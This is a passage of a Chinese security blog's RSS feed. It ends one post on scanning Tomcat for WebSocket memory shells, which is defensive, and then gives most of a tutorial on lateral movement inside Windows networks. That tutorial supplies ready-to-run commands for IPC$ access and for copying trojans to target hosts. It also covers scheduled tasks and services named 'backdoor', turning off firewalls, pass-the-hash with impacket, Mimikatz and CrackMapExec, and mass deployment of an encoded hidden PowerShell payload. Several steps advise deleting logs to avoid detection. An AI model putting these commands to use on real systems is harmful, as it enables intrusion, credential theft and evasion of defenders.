class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;iterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;iterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;hasNext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Entry&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Object&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;iterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;next&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_getconfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;invoke&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getValue&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;configs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;configs&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;getEndpointConfigs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getPath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getEndpointClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getEndpointClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getClassLoader&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;classFileIsExists&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getEndpointClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;()))&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getEndpointClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getEndpointClass&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;())));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;已PR到：&lt;a href=&#34;https://github.com/c0ny1/java-memshell-scanner&#34;&gt;java-memshell-scanner&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;说句题外话：有一说一，用Tomcat起WebSocket服务不是那么常见，如果发现了有注册的Endpoint的话，蓝队们还需要谨慎对待。&lt;/p&gt;
&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/veo/wsMemShell&#34;&gt;WebSocket 内存马，一种新型内存马技术&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/lqzkcx3/article/details/78507169&#34;&gt;Servlet3.0研究之ServletContainerInitializer接口&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/duanxz/p/5041110.html&#34;&gt;websocket之三：Tomcat的WebSocket实现 - duanxz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.csdn.net/weixin_36586120/article/details/120025498&#34;&gt;WebSocket通信原理和在Tomcat中实现源码详解&lt;/a&gt;&lt;/p&gt;
</description>
                
                
                
                
                
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/categories/note/">note</category>
                                
                            
                        
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E5%86%85%E5%AD%98%E9%A9%AC/">内存马</category>
                                
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/tomcat/">Tomcat</category>
                                
                            
                        
                    
                
            </item>
        
            <item>
                <title>内网横向移动方法</title>
                <link>https://blog.wh1sper.com/posts/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%96%B9%E6%B3%95/</link>
                <guid isPermaLink="true">https://blog.wh1sper.com/posts/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%96%B9%E6%B3%95/</guid>
                <pubDate>Wed, 01 Jun 2022 18:08:48 &#43;0800</pubDate>
                
                    <author>admin[at]wh1sper.com (wh1sper)</author>
                
                <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
                
                    <description>&lt;h2 id=&#34;ipc连接&#34;&gt;IPC连接&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;条件：&lt;/p&gt;
&lt;p&gt;1、目标机开启了139和445端口；&lt;/p&gt;
&lt;p&gt;2、目标主机管理员开启了ipc$默认共享；&lt;/p&gt;
&lt;p&gt;3、知道目标机的（权限足够的）账户密码。&lt;/p&gt;
&lt;p&gt;4、NT或以上操作系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;IPC$(Internet Process Connection)&lt;/code&gt;是共享”命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。&lt;/p&gt;
&lt;p&gt;利用&lt;code&gt;IPC$&lt;/code&gt;,连接者甚至可以与目标主机建立一个连接，利用这个连接，连接者可以得到目标主机上的目录结构、用户列表等信息。&lt;/p&gt;
&lt;p&gt;命令：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;net use \\192.168.10.2\ipc$ /user:&amp;#34;username&amp;#34; &amp;#34;password&amp;#34;
//建立ipc连接
net use \\192.168.10.2 /u:domainname\username &amp;#34;password&amp;#34;
// 域中建立ipc连接
net use \\192.168.10.2 /de /y 
// 删除ipc连接(使用完之后记得删除)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;用ipc进行文件目录操作&#34;&gt;用IPC进行文件目录操作&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;net view \\192.168.10.2 
//查看共享目录
net view \\192.168.10.2\c$\users 
//列出指定目录文件
copy shell.exe \\192.168.10.2\C$\windows\temp\ 
//复制文件到目标目录
copy \\192.168.10.2\C$\windows\temp\hash.txt 
//下载文件到当前目录
net use z: \\192.168.10.2\c$ &amp;#34;密码&amp;#34; /user:&amp;#34;用户名&amp;#34;  
//将对方的c盘映射为自己的z盘
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;ipc常见错误号&#34;&gt;IPC常见错误号&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1.错误号5，拒绝访问：很可能你使用的用户不是管理员权限的，先提升权限；
2.错误号51，Windows 无法找到网络路径：网络有问题；
3.错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
4.错误号67，找不到网络名：你的lanmanworkstation服务未启动；目标删除了ipc$；
5.错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc$，请删除再连。
6.错误号1326，未知的用户名或错误密码：原因很明显了；
7.错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动。（连接域控会出现此情况）
8.错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;windows计划任务&#34;&gt;Windows计划任务&lt;/h3&gt;
&lt;p&gt;1.先建立IPC连接&lt;/p&gt;
&lt;p&gt;2.确定目标主机DC的当前时间&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;net time \\192.168.10.2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;3.拷贝木马到目标机器&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;copy shell.exe \\192.168.10.2\C$\windows\temp\
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;4	.创建计划任务&lt;/p&gt;
&lt;p&gt;Vista 和 Server 2008 之后：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在使用schtasks命令时，会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt（记得删）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;schtasks /create /s 192.168.10.2 /tn backdoor /sc minute /mo 1  /tr c:\shell.exe /ru system /f
// 创建一个名称为&amp;#34;backdoor&amp;#34;的计划任务。该计划任务每分钟启动一次，启动程序为c:\shell.exe，启动权限为system
schtasks /run /s 192.168.10.2 /i /tn backdoor
// i：忽略任何限制立即运行任务
schtasks /delete /s 192.168.10.2 /tn &amp;#34;backdoor&amp;#34; /f
// 强制删除名称为&amp;#34;backdoor&amp;#34;计划任务（记得删）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在没有建立ipc连接时，要加上/u和/p参数分别设置用户名(域中为&lt;code&gt;域\域用户&lt;/code&gt;)和密码。
如果因为权限或组策略设置等原因报错拒绝访问，要加上/u和/p参数分别设置高权限用户名和密码。&lt;/p&gt;
&lt;p&gt;Vista 和 Server 2008 之前：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;at \\192.168.10.2 15:47:00 c:\beacon.exe //创建计划任务
at \\192.168.10.2 1 /delete //删除ID为1的计划任务
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;windows服务&#34;&gt;Windows服务&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;条件：&lt;/p&gt;
&lt;p&gt;1、当前跳板机用户具有管理员权限(因为要创建服务)。&lt;/p&gt;
&lt;p&gt;2、与目标机器已经建立ipc连接&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1.建立IPC连接&lt;/p&gt;
&lt;p&gt;2.拷贝木马到目标机器&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;copy shell.exe \\192.168.10.2\C$\windows\temp\
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;3.在目标主机DC上创建一个名称为“backdoor”的服务。命令如下：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sc \\[主机名 or IP] create [servicename] binpath= &amp;#34;[path]&amp;#34;   
//创建计划任务启动程序
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注意这里的格式，“=” 后面是必须空一格的，否则会出现错误。&lt;/p&gt;
&lt;p&gt;4.立即启动该服务：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sc \\192.168.10.2 start bindshell
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;5.删除刚才创建的服务&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sc \\192.168.10.2 delete bindshell
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们还可以通过设置服务来关闭防火墙：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= &amp;#34;netsh advfirewall set allprofiles state off&amp;#34;
sc \\WIN-ENS2VR5TR3N start unablefirewall
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;通过smb服务横向移动&#34;&gt;通过smb服务横向移动&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1、445端口开放&lt;/p&gt;
&lt;p&gt;2、知道账号密码明文或hash&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;利用 SMB 服务可以通过明文或 hash 传递（PTH）来远程执行。&lt;/p&gt;
&lt;h3 id=&#34;明文传递&#34;&gt;明文传递&lt;/h3&gt;
&lt;h4 id=&#34;psexecexe微软官方工具&#34;&gt;PsExec.exe(微软官方工具)&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;使用条件&lt;/p&gt;
&lt;p&gt;1.对方主机开启了 admin$ 共享，如果关闭了admin$共享，会提示：找不到网络名&lt;/p&gt;
&lt;p&gt;2.对方未开启防火墙&lt;/p&gt;
&lt;p&gt;3.如果是工作组环境，则必须使用administrator用户连接（因为要在目标主机上面创建并启动服务），使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。&lt;/p&gt;
&lt;p&gt;4.如果是域环境，即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户，连接域控只能用域管理员账户。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;执行原理(会留下大量日志)：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过ipc$连接，释放psexecsvc.exe到目标&lt;/li&gt;
&lt;li&gt;通过服务管理SCManager远程创建psexecsvc服务，并启动服务。&lt;/li&gt;
&lt;li&gt;客户端连接执行命令，服务端启动相应的程序并执行回显数据。&lt;/li&gt;
&lt;li&gt;运行完后删除服务。这个在windows的日志中有详细的记录，另外psexec在少数情况下会出现服务没删除成功的bug，所以一般不推荐使用psexec，推荐wmiexec&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可先建立ipc连接再使用psexec无需输入密码&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;net use \\IP /u:domainname\username password
//建立IPC通道
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula
//反弹cmd
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;或者直接使用：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;.\PsExec.exe \\192.168.10.201 -u domainname\username -p password -s cmd.exe -acceptcula
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;-accepteula：第一次运行psexec会弹出确认框，使用该参数就不会弹出确认框
-u：用户名
-p：密码
-s：以system权限运行运程进程，获得一个system权限的交互式shell。如果不使用该参数，会获得一个连接所用用户权限的shell&lt;/p&gt;
&lt;h3 id=&#34;pth-哈希传递&#34;&gt;PTH-哈希传递&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;利用条件&lt;/p&gt;
&lt;p&gt;1、在工作组环境中：&lt;/p&gt;
&lt;p&gt;Windows Vista 之前的机器，可以使用本地管理员组内用户进行攻击。&lt;/p&gt;
&lt;p&gt;Windows Vista 之后的机器，只能是administrator用户的哈希值才能进行哈希传递攻击，其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击，会提示拒绝访问&lt;/p&gt;
&lt;p&gt;2、在域环境中：&lt;/p&gt;
&lt;p&gt;只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击，攻击成功后，可以访问域内任何一台机器&lt;/p&gt;
&lt;p&gt;如果要用普通域管理员账号进行哈希传递攻击，则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;psexecpy-pth&#34;&gt;psexec.py-PTH&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;与官方psexec.exe相比会自动删除服务，增加隐蔽性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py&#34;&gt;https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里推荐使用impacket套装,有exe和py版本&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;psexec.exe domain/username@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;之后会弹回一个system权限的交互shell。&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python psexec.py  administrator@10.73.147.29   -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这种方式方便我们直接通过代理在自己本机执行(py测试2003,但exe可以成功)&lt;/p&gt;
&lt;h4 id=&#34;smbexecpy&#34;&gt;smbexec.py&lt;/h4&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py&#34;&gt;https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py&lt;/a&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python smbexec.py ./:@192.168.52.136
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;wmiexecpy-pth&#34;&gt;wmiexec.py-PTH&lt;/h4&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py&#34;&gt;https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py&lt;/a&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;mimikatz-pth&#34;&gt;MiMiKatz-PTH&lt;/h4&gt;
&lt;p&gt;这个需要本地管理员权限(由Mimikatz的实现机制决定的)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;privilege::debug
sekurlsa::logonpasswords
//抓取本机hash

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:852a844adfce18f66009b4f14e0a98de
//将获取的Hash添加进lsass中
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户，访问远程主机或服务，就不用提供明文密码了。
我们可以通过copy文件，然后执行计划任务去拿到shell(这个思路有自动化实现的工具)。&lt;/p&gt;
&lt;h4 id=&#34;pth批量横向移动&#34;&gt;pth批量横向移动&lt;/h4&gt;
&lt;p&gt;CrackMapExec：https://github.com/byt3bl33d3r/CrackMapExec/&lt;/p&gt;
&lt;p&gt;CME集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。&lt;/p&gt;
&lt;p&gt;用cme来进行网段的smb扫描确定目标系统和smb服务&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cme smb 192.168.0.0/24 -t 255
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;批量传递hash:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;批量执行命令:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de  -x &amp;#34;whoami&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;或者执行powershell,我们可以通过CS的powershell command然后粘贴生成的payload.txt中的内容直接-x执行即可批量上马。&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cme smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x &amp;#34;powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0...&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;wmi-横向&#34;&gt;WMI 横向&lt;/h2&gt;
&lt;p&gt;WMI的全名为“Windows Management Instrumentation”。从Windows 98开始，Windows操作系统都支持WMI。WMI是由一系列工具集组成的，可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问，它允许系统管理员远程执行自动化管理任务，例如远程启动服务或执行命令。&lt;/p&gt;
&lt;blockquote&gt;
